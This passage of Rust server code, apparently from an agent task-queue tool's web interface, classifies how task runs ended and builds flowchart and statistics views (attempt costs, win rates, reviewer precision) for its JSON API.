4381    /// How it ended and why the task moved on (or what it is doing now).
4382    outcome: String,
4383    created_at: Option<Timestamp>,
4384    pr: Option<String>,
4385    /// Why this pass ended, classified once; the flowchart is built from it.
4386    exit: RunExit,
4387    /// What the pass did to the task's attempt budget.
4388    attempt: AttemptCost,
4389    /// The branch a review-only run reopened.
4390    branch: Option<String>,
4391}
4392
4393/// How one pass over a run ended, as far as the task's life is concerned.
4394#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4395#[serde(rename_all = "snake_case")]
4396enum RunExit {
4397    Unreadable,
4398    /// An earlier pass of a run id that appears again: it stopped short.
4399    Interrupted,
4400    Parked,
4401    QuotaStall,
4402    /// Stalled on a resumed pass with quota losses on record: they may be
4403    /// left over from an earlier pass, so whether this one was refunded is
4404    /// not knowable.
4405    ResumedQuotaStall,
4406    Merged,
4407    Ready,
4408    Superseded,
4409    /// The change was already on the base under other commits: the task
4410    /// finished without this run landing anything.
4411    AlreadyInBase,
4412    /// Stalled without a rate limit to blame: no verdict, attempt spent.
4413    Stalled,
4414    /// Blocked / no-op with a pull request left open: held for a person.
4415    HeldWithPr,
4416    NoopHeld,
4417    /// Blocked or failed: the attempt is spent and the task retries or holds.
4418    Spent,
4419    InProgress,
4420}
4421
4422#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4423#[serde(rename_all = "snake_case")]
4424enum AttemptCost {
4425    Spent,
4426    Refunded,
4427    None,
4428    /// Cannot be told from the records that remain.
4429    Unknown,
4430}
4431
4432impl RunExit {
4433    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4434        let Some(s) = s else {
4435            return Self::Unreadable;
4436        };
4437        let status = s.status;
4438        if resumed_later {
4439            Self::Interrupted
4440        } else if s.parked {
4441            Self::Parked
4442        } else if !status.done() {
4443            Self::InProgress
4444        } else if matches!(status, RunStatus::Merged) {
4445            Self::Merged
4446        } else if matches!(status, RunStatus::Ready) {
4447            Self::Ready
4448        } else if matches!(status, RunStatus::Superseded) {
4449            Self::Superseded
4450        } else if matches!(status, RunStatus::AlreadyInBase) {
4451            Self::AlreadyInBase
4452        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4453            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4454        {
4455            if resumed {
4456                Self::ResumedQuotaStall
4457            } else {
4458                Self::QuotaStall
4459            }
4460        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4461            Self::HeldWithPr
4462        } else if matches!(status, RunStatus::VerifiedNoop) {
4463            Self::NoopHeld
4464        } else if matches!(status, RunStatus::Stalled) {
4465            Self::Stalled
4466        } else {
4467            Self::Spent
4468        }
4469    }
4470
4471    fn cost(self) -> AttemptCost {
4472        match self {
4473            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4474            Self::Merged
4475            | Self::Ready
4476            | Self::Stalled
4477            | Self::HeldWithPr
4478            | Self::NoopHeld
4479            | Self::Spent => AttemptCost::Spent,
4480            Self::InProgress => AttemptCost::None,
4481            Self::AlreadyInBase => AttemptCost::Refunded,
4482            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4483                AttemptCost::Unknown
4484            }
4485        }
4486    }
4487
4488    /// Short edge wording for leaving a run this way.
4489    fn edge_label(self, status: Option<&str>) -> String {
4490        match self {
4491            Self::Unreadable => "record unreadable".to_owned(),
4492            Self::Interrupted => "interrupted before the run finished".to_owned(),
4493            Self::Parked => "parked, attempt refunded".to_owned(),
4494            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4495            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4496            Self::Merged => "merged".to_owned(),
4497            Self::Ready => "ready, not merged".to_owned(),
4498            Self::Superseded => "superseded by a later attempt".to_owned(),
4499            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4500            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4501            Self::HeldWithPr => "blocked, PR left open".to_owned(),
4502            Self::NoopHeld => "verified no-op".to_owned(),
4503            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4504            Self::InProgress => "in progress".to_owned(),
4505        }
4506    }
4507
4508    /// Does a task in `end` follow from a run that ended this way? When not,
4509    /// somebody closed or held the task by hand.
4510    fn explains(self, end: TaskStatus) -> bool {
4511        match self {
4512            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4513            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4514            Self::Unreadable | Self::Superseded | Self::Ready => true,
4515            _ => end != TaskStatus::Done,
4516        }
4517    }
4518}
4519
4520/// `GET /api/queue/{id}` - one task with every attempt it went through.
4521#[derive(Debug, Serialize)]
4522struct TaskDetailView {
4523    #[serde(flatten)]
4524    task: TaskView,
4525    /// The attempt budget `magi serve` / `magi web` start a loop with unless
4526    /// told otherwise; the loop's own flag is not visible from here.
4527    max_attempts: usize,
4528    history: Vec<TaskRunView>,
4529    flow: FlowView,
4530    /// Set for a follow-up task; see [`followup_origin`].
4531    followup_origin: Option<FollowUpOrigin>,
4532    /// How many entries of `history` could not be read.
4533    runs_unreadable: usize,
4534    /// Why the attempt count can be lower than the number of runs.
4535    attempts_note: &'static str,
4536}
4537
4538const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4539and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4540on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4541in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4542
4543/// The branch a review-only run reopened, read off the instruction
4544/// `Runner::open_review` writes.
4545fn review_branch_of(instruction: &str) -> Option<&str> {
4546    let rest = instruction.strip_prefix("Review the work already on branch `")?;
4547    rest.split('`').next().filter(|b| !b.is_empty())
4548}
4549
4550/// Where an entry sits in a task's run list.
4551struct RunSlot<'a> {
4552    /// 1-based position.
4553    n: usize,
4554    /// The same run id appeared earlier: this pass resumed it.
4555    resumed: bool,
4556    /// Position of a later pass over the same run id, if any.
4557    resumed_later: Option<usize>,
4558    /// The previous distinct run and how it ended, for the retry note.
4559    prior: Option<(&'a str, RunStatus)>,
4560    last: bool,
4561}
4562
4563/// Describe one entry of a task's run list. Pure: everything it needs is on
4564/// the run and the task, so it is asserted without a server.
4565fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4566    let RunSlot {
4567        n,
4568        resumed,
4569        resumed_later,
4570        prior,
4571        last,
4572    } = at;
4573    let short = run::short_of(id).to_owned();
4574    let Some(s) = state else {
4575        return TaskRunView {
4576            n,
4577            id: id.to_owned(),
4578            short,
4579            kind: "unknown",
4580            status: None,
4581            readable: false,
4582            provisional: false,
4583            description:
4584                "This run's record could not be read by this build (written by a different \
4585                          magi, or removed), so what kind of attempt it was is unknown."
4586                    .to_owned(),
4587            outcome: String::new(),
4588            created_at: None,
4589            pr: None,
4590            exit: RunExit::Unreadable,
4591            attempt: AttemptCost::Unknown,
4592            branch: None,
4593        };
4594    };
4595    let branch = review_branch_of(&s.instruction);
4596    let kind = if resumed {
4597        "resume"
4598    } else if branch.is_some() {
4599        "review"
4600    } else if task.solo || s.candidates.len() == 1 {
4601        "solo"
4602    } else {
4603        "competition"
4604    };
4605    let mut description = match kind {
4606        "resume" => {
4607            format!("Resumed run {short}: the same run carried on instead of competing again.")
4608        }
4609        "review" => format!(
4610            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4611            branch.unwrap_or_default()
4612        ),
4613        "solo" => "Solo run: one implementer straight into review.".to_owned(),
4614        _ => format!(
4615            "Competition: {} candidates judged blind.",
4616            s.candidates.len().max(1)
4617        ),
4618    };
4619    if !resumed && let Some((p, st)) = prior {
4620        description.push_str(&format!(
4621            " A retry: run {p} before it ended {}.",
4622            st.display_label()
4623        ));
4624    }
4625
4626    let status = s.status;
4627    let provisional = matches!(status, RunStatus::Stalled)
4628        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4629    let head = if resumed_later.is_some() {
4630        String::new()
4631    } else {
4632        match status {
4633            RunStatus::Merged => "Merged.".to_owned(),
4634            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4635            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4636            RunStatus::AlreadyInBase => {
4637                "Already in the base: this change landed under other commits, nothing was left to land."
4638                    .to_owned()
4639            }
4640            RunStatus::Stalled => {
4641                "Stalled: the judging panel never reached a quorum, so there is no verdict."
4642                    .to_owned()
4643            }
4644            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4645            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4646            RunStatus::VerifiedNoop => {
4647                "Verified no-op: the candidates found nothing to change.".to_owned()
4648            }
4649            other if other.done() => format!("Ended {}.", other.display_label()),
4650            other => format!("In progress ({}).", other.display_label()),
4651        }
4652    };
4653    let why = if let Some(k) = resumed_later {
4654        // A run is only picked up again while it is unfinished, so an earlier
4655        // pass of a repeated id stopped short; the record keeps only the run's
4656        // latest status, which is left to the pass that carried it on.
4657        // Only the latest state is recorded: `parked` is cleared on resume
4658        // and `quota` accumulates across passes, so neither says why *this*
4659        // pass stopped, and the refund is as unknown as `AttemptCost` says.
4660        let cause = if s.quota.is_empty() {
4661            "the cause was not recorded: a park, a crash or a restart all look the same from here"
4662        } else {
4663            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4664        };
4665        format!(
4666            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4667        )
4668    } else if s.parked {
4669        " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4670            .to_owned()
4671    } else if !status.done()
4672        || matches!(
4673            status,
4674            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4675        )
4676    {
4677        String::new()
4678    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4679        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4680    {
4681        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4682            .to_owned()
4683    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4684        " It left a pull request open, so the task was held for a person rather than retried."
4685            .to_owned()
4686    } else if matches!(status, RunStatus::VerifiedNoop) {
4687        " Held for a person to check the claim.".to_owned()
4688    } else if last {
4689        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4690    } else {
4691        " It spent an attempt, and the task moved on to the next run.".to_owned()
4692    };
4693    let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4694    TaskRunView {
4695        n,
4696        id: id.to_owned(),
4697        short,
4698        kind,
4699        status: Some(status.as_str()),
4700        readable: true,
4701        provisional,
4702        description,
4703        outcome: format!("{head}{why}"),
4704        created_at: Some(s.created_at),
4705        pr: s.pr.as_ref().map(|p| p.url.clone()),
4706        exit,
4707        attempt: exit.cost(),
4708        branch: branch.map(str::to_owned),
4709    }
4710}
4711
4712/// One box of the task's flowchart.
4713#[derive(Debug, Serialize, PartialEq)]
4714struct FlowNode {
4715    /// Unique by position: a resumed run id appears once per pass.
4716    key: String,
4717    /// `chat`, `followup`, `start`, `run` or `end`.
4718    kind: &'static str,
4719    label: String,
4720    /// Run status (or the task's, for `end`); `None` when it is not a fact
4721    /// about this box (unreadable, or a pass the run later resumed from).
4722    status: Option<&'static str>,
4723    /// Whose status `status` is, so the client picks the right colour table:
4724    /// `task` (the `followup` parent and `end`) or `run`.
4725    status_of: &'static str,
4726    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
4727    note: Option<&'static str>,
4728    run_kind: Option<&'static str>,
4729    detail: Option<String>,
4730    /// A readable run with a real verdict; a stall never is.
4731    decided: bool,
4732    readable: bool,
4733    href: Option<String>,
4734}
4735
4736#[derive(Debug, Serialize, PartialEq)]
4737struct FlowEdge {
4738    from: String,
4739    to: String,
4740    label: String,
4741    attempt: AttemptCost,
4742}
4743
4744#[derive(Debug, Serialize, PartialEq)]
4745struct FlowView {
4746    nodes: Vec<FlowNode>,
4747    edges: Vec<FlowEdge>,
4748    /// Attempts the task has counted since it was last released.
4749    attempts: usize,
4750    max_attempts: usize,
4751}
4752
4753/// Turn a task and its described runs into the flowchart's boxes and arrows.
4754/// Pure: the page only draws what this returns.
4755///
4756/// A follow-up opens with its parent (or the merged run) unless the task's
4757/// *source* is itself a chat, in which case the chat stays first and the
4758/// follow-up node comes second. An inherited `Task::origin_chat` alone never
4759/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
4760/// two normally do not coincide and the nearer origin wins.
4761fn task_flow(
4762    task: &Task,
4763    history: &[TaskRunView],
4764    max_attempts: usize,
4765    origin: Option<&FollowUpOrigin>,
4766) -> FlowView {
4767    let node = |key: &str, kind, label: String| FlowNode {
4768        key: key.to_owned(),
4769        kind,
4770        label,
4771        status: None,
4772        status_of: "run",
4773        note: None,
4774        run_kind: None,
4775        detail: None,
4776        decided: false,
4777        readable: true,
4778        href: None,
4779    };
4780    let mut nodes = Vec::new();
4781    let mut edges: Vec<FlowEdge> = Vec::new();
4782    // A task queued from a chat opens the flow with that conversation.
4783    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4784        let mut n = node(
4785            "chat",
4786            "chat",
4787            format!("Chat {}", crate::queue::short(&link.id)),
4788        );
4789        n.href = Some(link.href);
4790        nodes.push(n);
4791        edges.push(FlowEdge {
4792            from: "chat".to_owned(),
4793            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
4794            label: "queued from chat".to_owned(),
4795            attempt: AttemptCost::None,
4796        });
4797    }
4798    if let Some(o) = origin {
4799        let mut n = match &o.parent {
4800            Some(p) => {
4801                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
4802                n.status = Some(p.status);
4803                n.status_of = "task";
4804                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
4805                n.href = Some(p.href.clone());
4806                n
4807            }
4808            None => {
4809                let mut n = node(
4810                    "origin",
4811                    "followup",
4812                    format!("Follow-up of run {}", o.run.short),
4813                );
4814                n.detail = Some("merged run".to_owned());
4815                n.status = o.run.status;
4816                n.href = o.run.href.clone();
4817                if o.run.href.is_none() {
4818                    n.readable = false;
4819                    n.note = Some("unreadable");
4820                }
4821                n
4822            }
4823        };
4824        n.decided = true;
4825        let from = n.key.clone();
4826        nodes.push(n);
4827        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
4828        let more = o.findings.len().saturating_sub(shown.len());
4829        let label = match (shown.is_empty(), more) {
4830            (true, _) => "open findings".to_owned(),
4831            (false, 0) => format!("open findings {}", shown.join(", ")),
4832            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
4833        };
4834        edges.push(FlowEdge {
4835            from,
4836            to: "start".to_owned(),
4837            label,
4838            attempt: AttemptCost::None,
4839        });
4840    }
4841    nodes.push(node("start", "start", "Task queued".to_owned()));
4842    let mut prev = "start".to_owned();
4843    let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4844    for (i, h) in history.iter().enumerate() {
4845        let key = format!("run-{}", h.n);
4846        let mut n = node(&key, "run", format!("Run {}", h.short));
4847        n.run_kind = Some(h.kind);
4848        n.readable = h.readable;
4849        n.href = Some(format!("#/runs/{}", h.id));
4850        n.decided = h.readable && !h.provisional;
4851        n.detail = h
4852            .branch
4853            .as_ref()
4854            .map(|b| format!("review-only run of branch {b}"));
4855        match h.exit {
4856            RunExit::Unreadable => n.note = Some("unreadable"),
4857            RunExit::Interrupted => n.note = Some("interrupted"),
4858            _ => {
4859                n.status = h.status;
4860                if h.provisional {
4861                    n.note = Some("no verdict");
4862                }
4863            }
4864        }
4865        let into = match h.kind {
4866            "review" => Some(format!(
4867                "review-only run of branch {}",
4868                h.branch.as_deref().unwrap_or("?")
4869            )),
4870            "resume" => Some("resume the same run".to_owned()),
4871            _ if i > 0 => Some("retry".to_owned()),
4872            _ => None,
4873        };
4874        let label = match (prev_exit, into) {
4875            (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4876            (Some((e, st)), None) => e.edge_label(st),
4877            (None, Some(i)) => i,
4878            (None, None) => "claimed".to_owned(),
4879        };
4880        edges.push(FlowEdge {
4881            from: prev.clone(),
4882            to: key.clone(),
4883            label,
4884            attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4885        });
4886        prev_exit = Some((h.exit, h.status));
4887        prev = key;
4888        nodes.push(n);
4889    }
4890    let mut end = node("end", "end", task.status.as_str().to_owned());
4891    end.status = Some(task.status.as_str());
4892    end.status_of = "task";
4893    nodes.push(end);
4894    let (label, attempt) = match prev_exit {
4895        None => (
4896            format!("no run yet \u{2192} {}", task.status.as_str()),
4897            AttemptCost::None,
4898        ),
4899        Some((e, st)) if e.explains(task.status) => (
4900            format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4901            e.cost(),
4902        ),
4903        Some((e, _)) => (
4904            format!("closed by hand: task is {}", task.status.as_str()),
4905            e.cost(),
4906        ),
4907    };
4908    edges.push(FlowEdge {
4909        from: prev,
4910        to: "end".to_owned(),
4911        label,
4912        attempt,
4913    });
4914    FlowView {
4915        nodes,
4916        edges,
4917        attempts: task.attempts,
4918        max_attempts,
4919    }
4920}
4921
4922/// Describe every entry of `task.runs`, in order, reading each run's record
4923/// through `read`.
4924fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4925    let mut history = Vec::with_capacity(task.runs.len());
4926    let mut seen: Vec<&str> = Vec::new();
4927    let mut prior: Option<(&str, RunStatus)> = None;
4928    for (i, run_id) in task.runs.iter().enumerate() {
4929        let state = read(run_id);
4930        let resumed = seen.contains(&run_id.as_str());
4931        seen.push(run_id);
4932        history.push(task_run_view(
4933            run_id,
4934            state.as_ref(),
4935            RunSlot {
4936                n: i + 1,
4937                resumed,
4938                resumed_later: task.runs[i + 1..]
4939                    .iter()
4940                    .position(|r| r == run_id)
4941                    .map(|off| i + off + 2),
4942                prior,
4943                last: i + 1 == task.runs.len(),
4944            },
4945            task,
4946        ));
4947        if let Some(s) = &state {
4948            prior = Some((run::short_of(run_id), s.status));
4949        }
4950    }
4951    history
4952}
4953
4954async fn task_detail(
4955    State(ui): State<Arc<Ui>>,
4956    Path(id): Path<String>,
4957) -> ApiResult<Json<TaskDetailView>> {
4958    blocking(move || {
4959        let id = resolve_task(&ui.queue, &id)?;
4960        let task = ui
4961            .queue
4962            .get(&id)
4963            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4964        let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4965        let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4966        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4967        let max_attempts = daemon::Opts::default().max_attempts;
4968        let origin = task.followup.as_ref().map(|fu| {
4969            followup_origin(
4970                fu,
4971                |tid| ui.queue.get(tid).ok(),
4972                |rid| read_run(&ui.runs, rid).ok(),
4973            )
4974        });
4975        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
4976        Ok(Json(TaskDetailView {
4977            max_attempts,
4978            flow,
4979            followup_origin: origin,
4980            history,
4981            runs_unreadable,
4982            attempts_note: ATTEMPTS_NOTE,
4983            task: TaskView::with_inventory(task, &inv),
4984        }))
4985    })
4986    .await
4987}
4988
4989/// A rate together with its denominator, so the client can tell "computed as
4990/// 0%" apart from "no data to compute it from" — both would otherwise
4991/// serialize as `0.0`. `None` means the denominator was zero.
4992#[derive(Debug, Serialize)]
4993struct RateView {
4994    pct: f64,
4995    denominator: usize,
4996}
4997
4998impl RateView {
4999    fn of(numerator: usize, denominator: usize) -> Option<Self> {
5000        (denominator > 0).then(|| Self {
5001            pct: 100.0 * numerator as f64 / denominator as f64,
5002            denominator,
5003        })
5004    }
5005}
5006
5007/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
5008/// rates, each paired with its own denominator via [`RateView`] rather than
5009/// exposing `Stats`' own percentage methods directly — see this module's
5010/// doc for why `Stats` itself is never serialized.
5011#[derive(Debug, Serialize)]
5012struct StatsTotalsView {
5013    runs: usize,
5014    merged: usize,
5015    ready: usize,
5016    blocked: usize,
5017    failed: usize,
5018    stalled: usize,
5019    verified_noop: usize,
5020    superseded: usize,
5021    in_progress: usize,
5022    completion_rate: Option<RateView>,
5023    tallied: usize,
5024    split: usize,
5025    split_rate: Option<RateView>,
5026    deliberated: usize,
5027    minds_changed: usize,
5028    converged: usize,
5029    review_rounds: usize,
5030}
5031
5032impl From<&stats::Totals> for StatsTotalsView {
5033    fn from(t: &stats::Totals) -> Self {
5034        Self {
5035            runs: t.runs,
5036            merged: t.merged,
5037            ready: t.ready,
5038            blocked: t.blocked,
5039            failed: t.failed,
5040            stalled: t.stalled,
5041            verified_noop: t.verified_noop,
5042            superseded: t.superseded,
5043            in_progress: t.in_progress,
5044            completion_rate: RateView::of(t.merged + t.ready, t.runs),
5045            tallied: t.tallied,
5046            split: t.split,
5047            split_rate: RateView::of(t.split, t.tallied),
5048            deliberated: t.deliberated,
5049            minds_changed: t.minds_changed,
5050            converged: t.converged,
5051            review_rounds: t.review_rounds,
5052        }
5053    }
5054}
5055
5056/// [`crate::stats::AgentStats`] for the wire.
5057#[derive(Debug, Serialize)]
5058struct AgentStatsView {
5059    agent: String,
5060    entered: usize,
5061    wins: usize,
5062    empty: usize,
5063    win_rate: Option<RateView>,
5064    competitive_entered: usize,
5065    competitive_wins: usize,
5066    competitive_win_rate: Option<RateView>,
5067    solo_entered: usize,
5068    solo_adopted: usize,
5069    solo_adoption_rate: Option<RateView>,
5070}
5071
5072impl From<&stats::AgentStats> for AgentStatsView {
5073    fn from(a: &stats::AgentStats) -> Self {
5074        Self {
5075            agent: a.agent.clone(),
5076            entered: a.entered,
5077            wins: a.wins,
5078            empty: a.empty,
5079            win_rate: RateView::of(a.wins, a.entered),
5080            competitive_entered: a.competitive_entered,
5081            competitive_wins: a.competitive_wins,
5082            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5083            solo_entered: a.solo_entered,
5084            solo_adopted: a.solo_adopted,
5085            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5086        }
5087    }
5088}
5089
5090/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
5091/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
5092/// value, `None` when `rounds` is zero.
5093#[derive(Debug, Serialize)]
5094struct ReviewerStatsView {
5095    agent: String,
5096    rounds: usize,
5097    seated: usize,
5098    submitted: usize,
5099    adopted: usize,
5100    unique: usize,
5101    timeouts: usize,
5102    adopted_per_round: Option<f64>,
5103    precision: Option<RateView>,
5104    unique_rate: Option<RateView>,
5105    timeout_rate: Option<RateView>,
5106}
5107
5108impl From<&stats::ReviewerStats> for ReviewerStatsView {
5109    fn from(r: &stats::ReviewerStats) -> Self {
5110        Self {
5111            agent: r.agent.clone(),
5112            rounds: r.rounds,
5113            seated: r.seated,
5114            submitted: r.submitted,
5115            adopted: r.adopted,
5116            unique: r.unique,
5117            timeouts: r.timeouts,
5118            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5119            precision: RateView::of(r.adopted, r.submitted),
5120            unique_rate: RateView::of(r.unique, r.submitted),
5121            timeout_rate: RateView::of(r.timeouts, r.seated),
5122        }
5123    }
5124}
5125
5126/// [`crate::stats::AdvisorStats`] for the wire.
5127///
5128/// `reflection_rate` is approximate by construction — see
5129/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
5130/// that caveat is static text in `index.html`, not a field here.
5131#[derive(Debug, Serialize)]
5132struct AdvisorStatsView {
5133    agent: String,
5134    seated: usize,
5135    proposed: usize,
5136    absent: usize,
5137    faint: usize,
5138    strong: usize,
5139    reflection_rate: Option<RateView>,
5140}
5141
5142impl From<&stats::AdvisorStats> for AdvisorStatsView {
5143    fn from(a: &stats::AdvisorStats) -> Self {
5144        Self {
5145            agent: a.agent.clone(),
5146            seated: a.seated,
5147            proposed: a.proposed,
5148            absent: a.absent,
5149            faint: a.faint,
5150            strong: a.strong,
5151            reflection_rate: RateView::of(a.strong, a.proposed),
5152        }
5153    }
5154}
5155
5156/// [`crate::stats::E2eStats`] for the wire.
5157#[derive(Debug, Serialize)]
5158struct E2eStatsView {
5159    rounds: usize,
5160    failures: usize,
5161    sole_detections: usize,
5162    deferred: usize,
5163    sole_rate: Option<RateView>,
5164}
5165
5166impl From<&stats::E2eStats> for E2eStatsView {
5167    fn from(e: &stats::E2eStats) -> Self {
5168        Self {
5169            rounds: e.rounds,
5170            failures: e.failures,
5171            sole_detections: e.sole_detections,
5172            deferred: e.deferred,
5173            sole_rate: RateView::of(e.sole_detections, e.failures),
5174        }
5175    }
5176}
5177
5178/// [`crate::stats::ReleaseBumpStats`] for the wire.
5179///
5180/// `clean` is sent as a raw count, computed the same way
5181/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
5182/// needs_attention`) — never derived client-side from `automerge_enabled`,
5183/// which would misclassify a `merged_directly` bump (automerge rejected, but
5184/// magi merged it directly, so no human involvement) as needing attention.
5185#[derive(Debug, Serialize)]
5186struct ReleaseBumpStatsView {
5187    merged: usize,
5188    recorded: usize,
5189    pr_opened: usize,
5190    automerge_enabled: usize,
5191    merged_directly: usize,
5192    needs_attention: usize,
5193    clean: usize,
5194    coverage_rate: Option<RateView>,
5195    automerge_rate: Option<RateView>,
5196    attention_rate: Option<RateView>,
5197}
5198
5199impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5200    fn from(b: &stats::ReleaseBumpStats) -> Self {
5201        Self {
5202            merged: b.merged,
5203            recorded: b.recorded,
5204            pr_opened: b.pr_opened,
5205            automerge_enabled: b.automerge_enabled,
5206            merged_directly: b.merged_directly,
5207            needs_attention: b.needs_attention,
5208            clean: b.clean(),
5209            coverage_rate: RateView::of(b.recorded, b.merged),
5210            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5211            attention_rate: RateView::of(b.needs_attention, b.recorded),
5212        }
5213    }
5214}
5215
5216/// [`crate::queue::TaskCounts`] for the wire.
5217#[derive(Debug, Serialize)]
5218struct TaskCountsView {
5219    queued: usize,
5220    running: usize,
5221    done: usize,
5222    failed: usize,
5223    held: usize,
5224    blocked: usize,
5225    parked: usize,
5226}
5227
5228impl From<crate::queue::TaskCounts> for TaskCountsView {
5229    fn from(c: crate::queue::TaskCounts) -> Self {
5230        Self {
5231            queued: c.queued,
5232            running: c.running,
5233            done: c.done,
5234            failed: c.failed,
5235            held: c.held,
5236            blocked: c.blocked,
5237            parked: c.parked,
5238        }
5239    }
5240}
5241
5242/// [`crate::stats::RepoStats`] for the wire, one row per repository with
5243/// runs recorded — the summary the UI's repository selector is built from.
5244/// Carries no nested `Stats`: picking a repo means re-fetching
5245/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
5246/// aggregation rather than duplicating it.
5247#[derive(Debug, Serialize)]
5248struct RepoSummaryView {
5249    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
5250    /// against, full path and all (see [`stats_get`]'s own doc for why).
5251    repo: String,
5252    /// Display name only; never used for matching.
5253    name: String,
5254    runs: usize,
5255    completion_rate: Option<RateView>,
5256}
5257
5258impl From<&stats::RepoStats> for RepoSummaryView {
5259    fn from(r: &stats::RepoStats) -> Self {
5260        let t = &r.stats.totals;
5261        Self {
5262            repo: r.repo.to_string_lossy().into_owned(),
5263            name: r.name.clone(),
5264            runs: t.runs,
5265            completion_rate: RateView::of(t.merged + t.ready, t.runs),
5266        }
5267    }
5268}
5269
5270/// `GET /api/stats` - the whole answer. `Stats` itself carries no
5271/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
5272/// renders from them) are free to grow without that becoming a wire-contract
5273/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
5274/// data" from "computed and it really is zero" the way [`RateView`] does.
5275#[derive(Debug, Serialize)]
5276struct StatsView {
5277    totals: StatsTotalsView,
5278    /// Best win rate first, as [`stats::collect`] already sorts it.
5279    agents: Vec<AgentStatsView>,
5280    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
5281    reviewers: Vec<ReviewerStatsView>,
5282    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
5283    advisors: Vec<AdvisorStatsView>,
5284    e2e: E2eStatsView,
5285    release_bumps: ReleaseBumpStatsView,
5286    queue: TaskCountsView,
5287    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
5288    /// that field's doc. Asserted to match it in
5289    /// `stats_runs_unreadable_matches_health`.
5290    ///
5291    /// Always the whole-workload count, even when `repo` narrows every other
5292    /// field to one repository - an unreadable `run.json` carries no `repo`
5293    /// a per-repository count could attribute it to, and the queue/health
5294    /// views this mirrors never scope it either. The UI must not present it
5295    /// as if it were scoped to the selected repository.
5296    runs_unreadable: usize,
5297    /// Every repository with runs recorded, most runs first - what the UI's
5298    /// repository selector is built from. Always the full list regardless of
5299    /// `repo`, so switching repositories never needs a second request.
5300    repos: Vec<RepoSummaryView>,
5301    /// Runs per local day over the last 30 days, oldest first, always 30
5302    /// entries. Days are the *server's* local dates (the UI must not convert
5303    /// them again), cut by run creation and classified by current status.
5304    /// Narrowed by `repo` like every other run-derived field.
5305    daily: Vec<DailyStatsView>,
5306    /// The `?repo=` value this response was narrowed to, echoed back so the
5307    /// UI can confirm its selection round-tripped. `None` for the aggregate,
5308    /// all-repositories view.
5309    repo: Option<String>,
5310    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
